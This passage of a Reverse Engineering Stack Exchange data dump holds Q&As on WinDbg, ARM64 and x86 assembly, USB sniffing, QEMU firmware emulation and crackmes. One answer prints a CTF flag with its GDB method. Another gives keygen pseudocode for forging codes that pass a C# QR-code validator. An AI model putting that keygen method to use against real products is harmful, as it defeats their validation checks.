    },
    {
        "Id": "16374",
        "CreationDate": "2017-09-20T18:00:18.510",
        "Body": "<p>My setup: Windows 10 with <code>windbg</code> and target machine is Windows 7 N SP1. I'm debugging via com (i know it's slow ;).</p>\n\n<p>So I get the process list with <code>!process</code>, one active process is Internet Explorer: </p>\n\n<pre><code>kd&gt;!process 0 0\n\n&gt;PROCESS fffffa8001a3db30\n&gt;SessionId: 2  Cid: 07e0    Peb: 7efdf000  ParentCid: 0a90\n&gt;DirBase: 2cc0a000  ObjectTable: fffff8a002007620  HandleCount: 561.\n&gt;\n&gt;Image: iexplore.exe\n</code></pre>\n\n<p>After that, I want to see in which mode the process is running. So I looked at the content of the PDE at the U/S flags. </p>\n\n<pre><code>kd&gt; !pte FFFFF6FB7EA00068\n                                       VA fffff6fd4000d000\n&gt;PXE at FFFFF6FB7DBEDFA8    PPE at FFFFF6FB7DBF5000    PDE at FFFFF6FB7EA00068    PTE at FFFFF6FD4000D4D0\n&gt;contains 0000000004000863  contains 0000000004001863  contains 000000007FC009E3  contains 0000000000000000\n&gt;pfn 4000      ---DA--KWEV  pfn 4001      ---DA--KWEV  **pfn 7fc00     -GLDA--*K*WEV**  LARGE PAGE pfn 7fc9a\n</code></pre>\n\n<p>The usermode/kernelmode flag is set to K. That says, that iexplorer.exe is running in kernelmode. Why? I thought those aplications are running in usermode.</p>\n",
        "Title": "Kernel debug - internet explorer in kernelmode?",
        "Tags": "|windows|debugging|windbg|kernel-mode|kernel|",
        "Answer": "<p>What you have listed in your question isn't going to tell you what mode a process is executing in, and there's a couple things wrong with the thought process.</p>\n\n<p>The <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-pte\" rel=\"nofollow noreferrer\">help docs</a> for <code>!pte</code> specify that the command takes a Virtual Address and displays PTE and PDE information about that address. The output of this command is kind of unintuitive because in actuality the PTE/PDE entries are physical addresses but Windows also maps them to kernel Virtual Kernel addresses as well.</p>\n\n<p>In your output specifically the virtual address that you're analyzing  is <code>VA fffff6fd4000d000</code>. What the output is showing is that the PXE entry for this Virtual Address is at the <strong>physical</strong> address 4000000 (this is given by the <code>pfn</code> entry and the lower portion is masked off for flags and etc), and is mapped at the <strong>virtual</strong> address <code>FFFFF6FB7DBEDFA8</code>.</p>\n\n<p>So then the next part is why does the output show that the pages are kernel mode. Based on what you're doing the address you got from !address is <code>fffffa8001a3db30</code>. Without going into too much detail about the internals of the kernel this address is the virtual address for an <code>EPROCESS</code> object which is a kernel data structure used to manage processes on the system. Additionally, every object the kernel allocates has a header prepended to it that the system uses for reference counting and and some other management functionality.</p>\n\n<p>You can see this header structure in windbg using the dt command: <code>dt _OBJECT_HEADER</code> and on x64 you'll notice that this structure is 0x30 bytes big. So the address of the actual EPROCESS is <code>fffffa8001a3db30</code> but the base of the allocation includes the header which is <code>fffffa8001a3db00</code>.</p>\n\n<p>So basically what you're doing when you run that <code>!pte</code> command is analyzing the page table entries for the kernel <strong>EPROCESS object</strong> but as I said in the last paragraph this is only a structure that the kernel allocates and uses to manage resources for the system, so this address is <strong>always</strong> going to be a kernel mode address.</p>\n\n<p>To do what you actually want to do you want to use the following commands:</p>\n\n<ul>\n<li><code>.process /p /r &lt;iexplore.exe address from !process&gt;</code> - this puts you\nin the process context of internet explorer, which basically means\nall the usermode stuff (virtual memory and handles) that windbg\naccesses are valid for that process </li>\n<li><code>!dml_proc &lt;iexplorer address\nfrom !process&gt;</code> or <code>!process &lt;iexploer address from !process</code> - this\ngives you information about the threads that are running in that\nprocess  </li>\n<li>From there if you use !dml_proc you can click the links to\nget thread stacks, or !process will just dump all threads out for you</li>\n</ul>\n\n<p>Now, if you follow the above you'll get the stack trace for each thread. From there you can see where it's executing based on what module it's in. In particular, if you see <code>nt!KiSystemServiceCopyEnd</code> on the callstack that means that the thread has transitioned into kernel mode and is doing something.</p>\n\n<p>However that being said I'm still not sure what you want to achieve since as one of the comments on your post mentions all threads are going to transition to kernel mode all the time anyway because basically everything that happens on your system happens in kernel mode.</p>\n"
    },
    {
        "Id": "16377",
        "CreationDate": "2017-09-21T01:33:14.233",
        "Body": "<p><b>I have an ELF executable I'm working on (got it from a previous CTF competition). The executable simply asks for a password, and then it prints out \"congrats\". </p>\n\n<p></b></p>\n\n<hr>\n\n<p>The code snippets and my annotations are long, so I've included them in separate HTML links.</p>\n\n<p><a href=\"https://pastebin.com/BmUXfknt\" rel=\"nofollow noreferrer\">Decompiled C-Code</a></p>\n\n<p><a href=\"https://drive.google.com/file/d/0B7z6YT7IIOZ6ci02NG5iRWxPQ2s/view?usp=sharing\" rel=\"nofollow noreferrer\">ELF Executable</a></p>\n\n<pre>\n//Gives you an overview of what this program does in C.\nint main(int argc, char ** argv)\n{\n    int32_t result; // success value\n\n\n    if (argc > 1)\n    {\n        setup(); //Allocates an integer array (g1)\n\n        int32_t v1 = 0; //counter\n\n        while (true)\n        {\n            char v2 = *(char *) (*(int32_t *) ((int32_t)argv + 4) + v1); \n            int32_t v3 = *(int32_t *) (4 * v1 + (int32_t) & g1);\n\n            int32_t v4 = v1 + 1; //index in g1 array\n\n            if (check( (int32_t *) v3, (int32_t) v2) != 0)\n            {\n                puts(\"Nope\");\n                return -1;\n            }\n            if (v4 >= 31) //when we've reached our last index in array\n            {\n                break;\n            }\n            v1 = v4;\n        }\n        puts(\"congrats!\");\n        result = 0;\n    }\n    else\n    {\n        puts(\"usage ./smoothie \");\n        result = -1;\n    }\n    return result;\n}\n</pre>\n\n<hr>\n\n<p>I've tried using GDB to debug through the program and IDA to understand the control-flow. My deduction ends up with 3 things:</p>\n\n<ul>\n<li>setup() generates some sort of integer array</li>\n<li>check(int32_t * array, int * array) gets called 31 times to confirm our \"password\" as indicated by the possible while loop</li>\n<li>Inside check(...), it goes through each malloc'd array[5] and confirms each \"char\" of our password. </li>\n</ul>\n\n<hr>\n\n<p><b>Here is IDA's control flow graph of check() (simple - 3 parts): </b>\n<a href=\"https://i.stack.imgur.com/HFjAR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HFjAR.png\" alt=\"First set of checks\"></a>\n<a href=\"https://i.stack.imgur.com/rcvif.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rcvif.png\" alt=\"Possible calculations &amp; 2nd set of checks\"></a>\n<a href=\"https://i.stack.imgur.com/ASxnP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ASxnP.png\" alt=\"Second set of checks\"></a></p>\n\n<p>Here is the control flow graph of check() <em>click to enlarge</em>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/MePmp.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MePmp.jpg\" alt=\"Graph of check() call\"></a></p>\n\n<ul>\n<li><p>The majority of check() compares * (array) for the upper half and * (array + 8) for the bottom half plus the passwordIndex comparison.</p></li>\n<li><p>In the main(int argc, char ** argv) of this program, there is a while loop that needs to be executed 31 times (the password is possibly 31 characters long). The while loop will exit if check() returns 1.</p></li>\n</ul>\n\n<hr>\n\n<p>I think the middle section does some calculations (add, sub, cdq &amp; idiv, imul, and xor) that might be useful towards knowing what to <em>pass</em> as a password.</p>\n\n<p>Please guide me in the right direction (with hints if you can). Debugging the program yourself might make my question more clear.</p>\n\n<p><strong><em>False Lead</em></strong></p>\n\n<ul>\n<li>In check(), I'm assuming that the first set of checks \"calculate\" the correct number that my input ascii should match (e.g. calculated 90, so index[i] should equal 'Z' ~ 90).</li>\n<li>In the second half of check it uses * (array + 8), so that means that its using the array's 3rd number for the 101, 142, ... , number comparisons. We could change the dereferenced value of * (array + 8) to the calculated number (90) to get to the final comparison.</li>\n<li>Once we reach the final comparison, it compares our input with the calculated number in the first set of checks, so 90 == 90. Since they are equal, the function returns 0 for success.</li>\n</ul>\n\n<p><b>Despite any char input for the check(int32_t * array, (int32_t) input), the result will be the same regardless because of the pre-set values in the array. What can I do to correct this? </b></p>\n",
        "Title": "How do I approach this CTF Debugging Program?",
        "Tags": "|assembly|debugging|decompilation|c|elf|",
        "Answer": "<p>The way of solving this CTF is to analyze both <code>setup()</code> and <code>check()</code> methods (duh!). The first one is quite a long one but when you check what's going on it's quite simple. It's allocating a 20B of memory to store 5 x 4 B of data. It does it 31 times. The values that stored there looks like they are random but they are not. There are only 5 different values that are put in the first spot as well as in 3rd one.</p>\n\n<blockquote class=\"spoiler\">\n  <p> Values in 1st and 3rd slot are operation type values; 3rd, 4th - operands; 5th - operand &amp; result</p>\n</blockquote>\n\n<p>If we check the <code>check()</code> function. We see that the parameters that are being passed are: one of the buffers created and filled in the <code>setup()</code> and a <code>char</code> of the flag. Based on the values found in the buffer there are mathematical operations that are conducted the values in the buffer.</p>\n\n<blockquote class=\"spoiler\">\n  <p> More info on the operations. There are few, based on the 1st and 3rd value. add, sub, mod, xor, mul.\n If we take for example the values for the first buffer: 0x01 0x81 0x65 0x0C 0x5A those would be spitted into; 0x01 - mod operation, 0x65 - add; so the char is (0x5A % 0x81) + 0x0C. We do simular (but different operations) on each of the buffers.</p>\n</blockquote>\n\n<p>What is the problem with this binary (or maybe it's intentional)? Well for almost all the cases the value calculated on the operands is not compared with the flag's char and this <code>eax</code> is not correctly set and we get 'None'. What would need to be fixed is to change the jump so that all the cases go through the check if the flag char. What you could do apart from modifying the binary is to trick gdb to behave properly.</p>\n\n<ul>\n<li>Set the breakpoint on <code>leave</code>\n\n<ul>\n<li>type command</li>\n<li>type p/c $edx</li>\n<li>type set $eax=0</li>\n<li>type end</li>\n</ul></li>\n</ul>\n\n<p>With this whenever breakpoint is triggered, you will print the calculated char and it will simulate the comparison to be ok and allowed the application to continue. With that you can run the app, hit a few times the 'c' and observe the flags</p>\n\n<p>And finally <strong>the flag</strong></p>\n\n<blockquote class=\"spoiler\">\n  <p> flag{HereBeDaFlagForYoDebu?g?h} </p>\n</blockquote>\n\n<p>And a bit of explanation...</p>\n\n<blockquote class=\"spoiler\">\n  <p> for those two '?' it is either the control bytes are wrong or the operands and thus they are calculated wrongly. Maybe I would spend some time to find out and try to calculate them correctly but with current values what we are getting is something outside the ASCII printable.</p>\n</blockquote>\n"
    },
    {
        "Id": "16380",
        "CreationDate": "2017-09-21T14:31:05.107",
        "Body": "<p>I'm currently only patching this code to return true, do you guys have any idea of how I could start making a generator to make valid codes? I can't understand the logic here.</p>\n\n<pre><code>  public static bool ValidateQrCode(string code)\n    {\n        if (code.Substring(0, 2) != \"DC\")\n        {\n            return false;\n        }\n        if (code.Length != 0x1a)\n        {\n            return false;\n        }\n        string s = code.Substring(2, 14);\n        byte[] buffer1 = new SHA256Managed().ComputeHash(Encoding.UTF8.GetBytes(s));\n        string str2 = ConvertToB36(Convert.ToInt32(buffer1[13])).PadLeft(2, '0');\n        string str3 = ConvertToB36(Convert.ToInt32(buffer1[10])).PadLeft(2, '0');\n        string str4 = ConvertToB36(Convert.ToInt32(buffer1[5])).PadLeft(2, '0');\n        string str5 = ConvertToB36(Convert.ToInt32(buffer1[0x11])).PadLeft(2, '0');\n        string str6 = ConvertToB36(Convert.ToInt32(buffer1[0x19])).PadLeft(2, '0');\n        return ((((code.Substring(0x10, 2) == str2) &amp;&amp; (code.Substring(0x12, 2) == str3)) &amp;&amp; ((code.Substring(20, 2) == str4) &amp;&amp; (code.Substring(0x16, 2) == str5))) &amp;&amp; (code.Substring(0x18, 2) == str6));\n    }\n    public static string ConvertToB36(int value)\n    {\n        string str = \"\";\n        while (value &gt; 0)\n        {\n            str = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\"[value % 0x24].ToString() + str;\n            value /= 0x24;\n        }\n        return str;\n    }\n</code></pre>\n",
        "Title": "Reverse code check",
        "Tags": "|c#|",
        "Answer": "<p>Well the algo is quite simple, let's try to break it down:</p>\n<blockquote>\n<p>if (code.Substring(0, 2) != &quot;DC&quot;)</p>\n</blockquote>\n<p>It has to start with DC</p>\n<blockquote>\n<p>if (code.Length != 0x1a)</p>\n</blockquote>\n<p>and be of length 26 chars</p>\n<blockquote>\n<p>string s = code.Substring(2, 14);</p>\n<p>byte[] buffer1 = new SHA256Managed().ComputeHash(Encoding.UTF8.GetBytes(s));</p>\n</blockquote>\n<p>then take the 14 chars starting from third (skip DC) and calculate SHA256 on it.</p>\n<p>After that the checks are (extracted)</p>\n<blockquote>\n<p>string str2 = ConvertToB36(Convert.ToInt32(buffer1[13])).PadLeft(2, '0');</p>\n<p>code.Substring(0x10, 2) == str2</p>\n</blockquote>\n<p>so value on 13 index of <code>SHA</code> has to be equal (converted to <code>BASE36</code>) to 2 chars from the input starting from pos 16.</p>\n<p>The rest of the checks are similar.</p>\n<p>So your keygen would consist only the functions that you already has in the code.</p>\n<p>So the general key is in this form (psudocode)</p>\n<pre><code>input = &quot;&quot;\nsha = SHA256(input)\nprint &quot;DC&quot;+input+sha[13].encode('base36')+sha[10].encode('base36')+sha[5].encode('base36')+sha[17].encode('base36')+sha[25].encode('base36')\n</code></pre>\n"
    },
    {
        "Id": "16384",
        "CreationDate": "2017-09-22T04:08:25.107",
        "Body": "<p>I am reversing an ELF64 executable created on AMD X86-64. I encountered this line near the end of the file and am puzzled to its meaning:</p>\n\n<pre><code>nop    WORD PTR cs:[rax+rax*1+0x0]\n</code></pre>\n\n<p>In this case <code>rax</code> contains <code>0x2329</code>.  However, <code>nop</code> means '<em>do nothing</em>', so I am puzzled as to why there are arguments included on the line.  The code is loaded with <code>libc</code> function calls so I am assuming the source code is C/C++ and not GAS.</p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/11971/nop-with-argument-in-x86-64\">This post</a> has good content but perror's explanation is more apropos and contains more \"why\" than a mere recital of the Intel docs.</p>\n",
        "Title": "What kind of assembly language construct is this?",
        "Tags": "|disassembly|assembly|",
        "Answer": "<p>There are mainly two usage of the <code>nop</code> instructions:</p>\n<ol>\n<li><p>They are quite often used as padding at the end of assembly procedures or in-between procedures. And, in this case one may want to pad with &quot;<em>more than one byte at the time</em>&quot;, this is why they added extra arguments (that are just ignored most of the time).</p>\n<p>See: <a href=\"https://en.wikipedia.org/wiki/NOP\" rel=\"nofollow noreferrer\">NOP instruction</a> (Wikipedia) and <a href=\"http://www.felixcloutier.com/x86/NOP.html\" rel=\"nofollow noreferrer\">NOP\u2014No Operation</a> (x86 Instruction Set Reference).</p>\n</li>\n<li><p>They can also be used to delay a bit the ALU in between two memory fetches in order to give the pipeline a chance to get a correct prediction of the data values. And, this is probably your case because this instruction perform a small arithmetic computation when computing <code>rax+rax*1+0x0</code>, therefore the ALU has is really delayed because of this operation.</p>\n<p>See: <a href=\"https://en.wikipedia.org/wiki/Delay_slot\" rel=\"nofollow noreferrer\">Delay Slot</a> (Wikipedia).</p>\n</li>\n</ol>\n"
    },
    {
        "Id": "16389",
        "CreationDate": "2017-09-22T20:41:35.907",
        "Body": "<p><strong>Summary</strong></p>\n\n<p>I'm currently using wireshark to sniff USB serial packets from a program that sends data to FPGA boards. So far I'm able to acquire the packets and data, but I'm not sure how to test each command I find. I want to develop my own program that can do the same thing on a different platform than the one the original program operates on.</p>\n\n<p><strong>Questions</strong></p>\n\n<p>Would I get another program to connect to the USB serial connection and then test sending each command? What program would be good for testing?</p>\n\n<p>How would I go about figuring out the serial connection specifications? Baudrate, data bits, stop bits, parity, flow control, and forward? </p>\n",
        "Title": "What process should I follow to sniff USB serial packets and then replicate them?",
        "Tags": "|serial-communication|",
        "Answer": "<p>Well for starters you are going to want an in Kernel USB monitor like Linux has, a pass through USB analyzer (more expensive, but more flexible) or something like a logic analyzer. </p>\n\n<p>Here is a video that goes into great detail of doing the latter far more than anyone will here <a href=\"https://www.youtube.com/watch?v=4FOkJLp_PUw\" rel=\"nofollow noreferrer\">https://www.youtube.com/watch?v=4FOkJLp_PUw</a> Note from the video <a href=\"https://opentechlab.org.uk/videos:011:notes\" rel=\"nofollow noreferrer\">https://opentechlab.org.uk/videos:011:notes</a></p>\n\n<p>To summarize you'll need a logic analyzer, potentially a way of getting the device to tell you it is about to send a packet in some manner (otherwise you will have better luck with a USB analyzer or in kernel USB monitor). Sigrok is software used there... but there are others.</p>\n\n<p>Here is a little python code the guy in the video uses which will probably be of use to you. Which is just a basic example of using pyusb he was using it to talk to whatever micro controller board he was debugging you could use it to talk to your FPGA perhaps as you figure out what it's protocol is doing.</p>\n\n<pre><code>#! /usr/bin/env python3\n\nimport usb.core\nimport time\n\ndev = usb.core.find(idVendor=0x0925, idProduct=0xD100)\nif dev is None:\n  raise ValueError('Device not found')\n\nres = dev.ctrl_transfer(\n  bmRequestType=0x40,                       # OUT, VENDOR, DEVICE request\n  bRequest=1,                               # Request #1\n  wValue=0xCAFE,\n  wIndex=0xD00D,\n  data_or_wLength=[0x01, 0x23, 0x45, 0x67])\n</code></pre>\n\n<p>The method you choose largely depends on what you need to know, if the device is functioning properly and you don't need to make changes to it, perhaps a software monitor is good enough. If it is indeed USB serial is it a dedicated chip? If so find it's datasheet... and investigate the circuit that may tell you some things. Common USB to serial chips are the the following which either use a standard USB CDC ACM protocol (check if chip in question is this then you can just grap the spec for it here ) or custom driver.</p>\n\n<p>Note that the USB end of the protocol itself is probably baud rate independent but you may need to tell the USB serial convert what rate to run at... it depends alot on how it was designed. Probing the Uart output pints of the controller would allow you to figure out the correct baud rate if you can't figure it out from the circuit itself.</p>\n\n<p>Another way to go about this would be to figure out at least one command that will give you a response... then exhaustively try different baud rates and configurations until you get the expected response.</p>\n\n<ol>\n<li><p>Silicon Labs CP2102 and variants. \n<a href=\"https://www.silabs.com/documents/public/data-sheets/CP2102-9.pdf\" rel=\"nofollow noreferrer\">https://www.silabs.com/documents/public/data-sheets/CP2102-9.pdf</a></p></li>\n<li><p>MicroChip MCP2200 \n<a href=\"http://www.microchip.com/wwwproducts/en/en546923\" rel=\"nofollow noreferrer\">http://www.microchip.com/wwwproducts/en/en546923</a></p></li>\n<li>FT232R <a href=\"http://www.ftdichip.com/Products/ICs/FT232R.htm\" rel=\"nofollow noreferrer\">http://www.ftdichip.com/Products/ICs/FT232R.htm</a></li>\n</ol>\n"
    },
    {
        "Id": "16390",
        "CreationDate": "2017-09-22T21:09:57.733",
        "Body": "<p>I'd wish to reverse engineer the firmware of the Netgear R8300 - Nighthawk X8 AC5000 Smart WiFi Router / R8300 (available to download <a href=\"http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.100_1.0.82.zip\" rel=\"nofollow noreferrer\">here</a>).  </p>\n\n<p>I was able to extract the contents of the image using <code>binwalk</code>, however I'd wish to test some executable in a \"live\" situation. In order to do that I tried to use QEMU.  </p>\n\n<p>Sadly, no matter what, I'm getting a system crash.<br>\nI started with:</p>\n\n<pre><code>$ qemu-system-arm -M vexpress-a9 -hda R8300-V1.0.2.100_1.0.82.chk \nWarning: Orphaned drive without device: id=scsi0-hd0,file=R8300-V1.0.2.100_1.0.82.chk,if=scsi,bus=0,unit=0\nqemu: fatal: Trying to execute code outside RAM or ROM at 0x04000000\n</code></pre>\n\n<p>As far as I can understand QEMU has a driver but he doesn't know what do to with that.\nSo I tried to specify more params manually:</p>\n\n<pre><code>qemu-system-arm -M vexpress-a9 \\\n   -drive file=R8300-V1.0.2.100_1.0.82.chk,format=raw \\\n   -device scsi-hd,id=scsi0-hd0\n\nqemu-system-arm: -device scsi-hd,id=scsi0-hd0: No 'SCSI' bus found for device 'scsi-hd'\n</code></pre>\n\n<p>I tried to play with some different device type, but it seems that I can't find the correct bus.<br>\nI even tried to split the image into different pieces (kernel and filesystem), but I still got a crash.</p>\n\n<p>I'm pretty new to reverse engineering, can I have some hints or suggestions on what should I do to boot my firmware image?</p>\n\n<p><strong>EDIT</strong>. \nPlaying a little with the command I was able to get a different error message:</p>\n\n<pre><code>$ qemu-system-arm -M vexpress-a9 -cpu cortex-a9 \\\n   -redir tcp:8888::80 -m 512 \\\n   -drive file=R8300V1.0.2.100_1.0.82.chk,format=raw \\\n   -device scsi id=scsi0-hd0,if=ide-hd\n\nqemu-system-arm: -device scsi: drive with bus=0, unit=0 (index=0) exists  \n</code></pre>\n\n<p>I tried to specify a different bus, unit and index, but the error is still the same</p>\n",
        "Title": "Unable to boot ARM disk image",
        "Tags": "|arm|qemu|",
        "Answer": "<p>I generally try to avoid booting the whole embedded OS when analyzing a target system. Instead, try to run a single target binary with <code>qemu-system-arm -E PATH=\"/bin:/usr/bin\" -E OTHERENVVARS=foo -g 10000 ./myTargetBinary</code>.</p>\n\n<p>See slides 27+ in my presentation <a href=\"https://files.sans.org/summit/hackfest2015/PDFs/IoT-Devices-Fall-Like-Backward-Capacitors-Or-the-Month-Josh-Was-Forced-to-Wear-Pants-Josh-Wright.pdf\" rel=\"noreferrer\">https://files.sans.org/summit/hackfest2015/PDFs/IoT-Devices-Fall-Like-Backward-Capacitors-Or-the-Month-Josh-Was-Forced-to-Wear-Pants-Josh-Wright.pdf</a>. You may need to setup the appropriate <code>chroot</code> for the necessary libraries in <code>myTargetBinary</code>. Often, errors in running a binary requires more analysis to identify missing conf files, necessary environment variables, specific hardware access, etc., requiring some preliminary static disassembly prior to runtime analysis.</p>\n"
    },
    {
        "Id": "16392",
        "CreationDate": "2017-09-23T10:46:50.110",
        "Body": "<p>I have a Chinese USB gaming mouse (<em>04d9:a070</em>) which has 4 color modes and 4 light levels. I know for a fact that this mouse is capable for showing at least 5 different color so it must be an RGB led (4 legs). The software is the worst I've ever seen and it's incredibly hard to change the color, brightness and mode so it works and doesn't just turn off. Now I'm planning to make my own control software (for Linux first).</p>\n\n<p>I have started with a simple guide \"Reverse Engineering a USB mouse (Updated 3rd May 2017)\" at Bytepunk (can't post a link but Google or DuckDuckGo should find that guide)</p>\n\n<p>I have already sniffed most of the things I need. I used USBlyzer on Windows with the awful control software and got a few hex strings and figured out how to change the color, brightness and mode in the hex strings.\nI pasted the data I discovered <a href=\"https://pastebin.com/UjdPG7t9\" rel=\"nofollow noreferrer\">here</a>\n (Pastebin)</p>\n\n<pre><code>Clicking turn on lights from the Windows control software\n\nout: 07 07 01 00 00 00 00 00 &lt;-- Is this a \"Commands coming in call\"?\nout: 07 09 01 02 00 00 00 00 &lt;-- 07 09 01 0X where X is the color\nout: 07 0C 01 04 00 00 00 00 &lt;-- 07 0Y 01 0Z where Y is the brightness and Z is the mode \nout: 07 13 04 00 00 00 00 00 &lt;-- Is this a \"Commands sent call\"?\n\nX - OFF: 0 RED: 1 BLUE: 2 GREEN: 3 PINK: 4\nY - LOW: B MED: 9 HIGH: C \nZ - STATIC: 1 SLOW PULSE: 2 MED PULSE: 3 FAST PULSE: 4\n</code></pre>\n\n<p>My problem is that when I try to \"write\" anything to the device it just hangs and I get a \"[Errno2] Entity not found\" error and the mouse needs to be replugged in order to make it work again. It doesn't \"disconnect\" but it stays in <code>lsusb</code> and nothing special shows up in <code>dmesg</code>.</p>\n\n<p>I pasted my modified python script to <a href=\"https://pastebin.com/GXSYZdPD\" rel=\"nofollow noreferrer\">Pastebin</a></p>\n\n<p>I also applied a custom <em>udev rule</em></p>\n\n<p><code>SUBSYSTEM==\"usb\", ATTR{idVendor}==\"04d9\", ATTR{idProduct}==\"a070\", GROUP:=\"plugdev\", MODE=\"0666\"</code></p>\n\n<p>I'm new to serial communications and reverse engineering so I don't know what to search for.\nI think I can post pictures and more data from the USBlyzer in the comments. This is my first post here so I don't have the reputation to give more links.</p>\n\n<p>Greetings, Santeri</p>\n",
        "Title": "Need help with a USB gaming mouse",
        "Tags": "|linux|serial-communication|usb|",
        "Answer": "<p>my understanding of <strong>USB</strong> is very low at best (even if I do develop some simple <strong>USB</strong> devices for a living) so read this with major prejudice...</p>\n\n<ol>\n<li><p><strong>Your driver class and configuration must match the USB (mouse) device</strong></p>\n\n<p>I do not know how your <strong>USB</strong> mouse is programmed but interface must be the same (<strong>CDC</strong> class can have more interfaces) and if not match then the <strong>USB</strong> will not work properly.</p>\n\n<p>So you need to know which pipes are used and which are input and output, if they use bulk or interrupt transfers.</p>\n\n<p>My bet is your mouse will be a <strong>HID</strong> class with use of only interrupt transfers. But if it is some crazy multimedia ergonomic multi feature sillyness it might be even <strong>CDC</strong>.</p></li>\n<li><p><strong>Transfer of data</strong></p>\n\n<p>Let assume you got <strong>HID</strong> so the device is communicating by control pipe0 and or interrupt pipes(1,2...).</p>\n\n<p>Now depending on the mouse firmware it might need a specific order of read/write commands otherwise the firmware will freeze or hang up till timeout.</p>\n\n<p>For example some commands do not return any data and can be send at any time ...</p>\n\n<p>Some commands return data in specific pipe and if not read back by host in time the firmware can crash/freeze.</p>\n\n<p>Another problem the mouse might be configurable and requesting some initialization sequence of codes/commands determining the mouse purpose/specs/whatever. Again if the firmware expects that first, sending any other command can freeze your mouse.</p>\n\n<p>Also some firmwares expect commands with timing and sending too often or too rarely is wrong in such case.</p>\n\n<p>Your sniffing data does not take into account any of this. Try to sniff also the other pipes (maybe with time stamps) and log all to something like this:</p>\n\n<ul>\n<li><a href=\"https://reverseengineering.stackexchange.com/a/9381/4709\">Putting an application in between client and server</a></li>\n</ul>\n\n<p>Once done you should see what the device is sending back. It is important to see how many bytes an in what pipe. Then you can update your script and after you send your command read appropriate number of bytes back to host so your firmware on the mouse will not freeze up.</p></li>\n</ol>\n"
    },
    {
        "Id": "16393",
        "CreationDate": "2017-09-23T16:12:53.507",
        "Body": "<p>I'm trying to understand the differences between the following function prologs of a number of obj-c function decompilations.</p>\n\n<p>I know they store variables for the caller to use when the function returns. But why the differences?</p>\n\n<p>Sample 1</p>\n\n<pre><code>void * -[Issue ideal](void * self, void * _cmd)\nsub        sp, sp, #0x40\nstp        x22, x21, [sp, #0x10]\nstp        x20, x19, [sp, #0x20]\nstp        x29, x30, [sp, #0x30]\nadd        x29, sp, #0x30\nmov        x19, x0\n</code></pre>\n\n<p>Sample 2</p>\n\n<pre><code>void * -[Issue path](void * self, void * _cmd)\nstp        x26, x25, [sp, #-0x50]!\nstp        x24, x23, [sp, #0x10]\nstp        x22, x21, [sp, #0x20]\nstp        x20, x19, [sp, #0x30]\nstp        x29, x30, [sp, #0x40]\nadd        x29, sp, #0x40\nmov        x19, x0\n</code></pre>\n\n<p>Sample 3</p>\n\n<pre><code>void -[ContentView showPageThumb:page:data:guid:](void * self, void * _cmd, void * arg2, long long arg3, void * arg4, void * arg5)\nstp        x24, x23, [sp, #-0x40]!\nstp        x22, x21, [sp, #0x10]\nstp        x20, x19, [sp, #0x20]\nstp        x29, x30, [sp, #0x30]\nadd        x29, sp, #0x30\nmov        x20, x5\nmov        x21, x4\nmov        x22, x3\nmov        x19, x0\nmov        x0, x2\n</code></pre>\n",
        "Title": "Understanding ARM64 Obj-C Prolog",
        "Tags": "|disassembly|assembly|arm|",
        "Answer": "<p>I haven't touched this stuff for a while, but I'd say compiler is simply saving opcodes or following a complicated template, perhaps to do with optimisation. Notice that</p>\n\n<pre><code>stp        x24, x23, [sp, #-0x40]!\nstp        x22, x21, [sp, #0x10]\nstp        x20, x19, [sp, #0x20]\nstp        x29, x30, [sp, #0x30]\n</code></pre>\n\n<p>does the same job as </p>\n\n<pre><code>sub        sp, sp, #0x40\nstp        x22, x21, [sp, #0x10]\nstp        x20, x19, [sp, #0x20]\nstp        x29, x30, [sp, #0x30]\n</code></pre>\n\n<p>plus stores one additional register <code>x24</code> . This because the first example uses writeback addressing in <code>[sp, #-0x40]!</code></p>\n\n<p><a href=\"http://www.davespace.co.uk/arm/introduction-to-arm/addressing.html\" rel=\"nofollow noreferrer\">http://www.davespace.co.uk/arm/introduction-to-arm/addressing.html</a> (a random google result on addressing modes in ARM). </p>\n\n<p>Same with your second example - it still allocates x50 bytes on the stack. The difference is rather superficial, they all do the same job. <code>add</code>,<code>mov</code>s are not part of prologue IIRC.</p>\n"
    },
    {
        "Id": "16394",
        "CreationDate": "2017-09-23T20:37:40.973",
        "Body": "<p>I'm reverse engineering the CrackMe which is written on Managed C++/C#.\nArguments are \"string\" (email in this case) and \"serial\". Serial is somehow depends on string and I need to understand how.</p>\n\n<p>I used dnSpy to disassemble the program and found onClick function which begins the process of checking if the serial was right: <a href=\"https://pastebin.com/TwSMTiD3\" rel=\"nofollow noreferrer\">button2_onClick</a></p>\n\n<p>In the end of this function we can see a boolean function Check() which returns <code>true</code> if the serial was right: <a href=\"https://pastebin.com/gj4tLwN6\" rel=\"nofollow noreferrer\">Check()</a></p>\n\n<p>As I'm new to reverse engineering (and especially to RE of .NET apps) so I need some explanations about the decompiled code we can see in these two functions:</p>\n\n<p>1) What exactly does</p>\n\n<pre><code>md = &lt;Module&gt;.std.basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt;.{ctor}(ref basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt;4, ref basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt;2);\n</code></pre>\n\n<p>mean on line 25 of <code>button2_onClick</code>? I understand that this is some type of assignment, but no more.</p>\n\n<p>2) What these lines (14, 15 lines and so on, of <code>Check()</code>) do? </p>\n\n<pre><code>*(ref basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt;2 + 16) = 0;\n*(ref basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt;2 + 20) = 0;\n</code></pre>\n\n<p>3) What do the numbers (5, 6, 7 near the end of lines) mean?</p>\n\n<pre><code>&lt;Module&gt;.std.basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt;._Tidy(ref basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;\\u0020&gt;5, true, 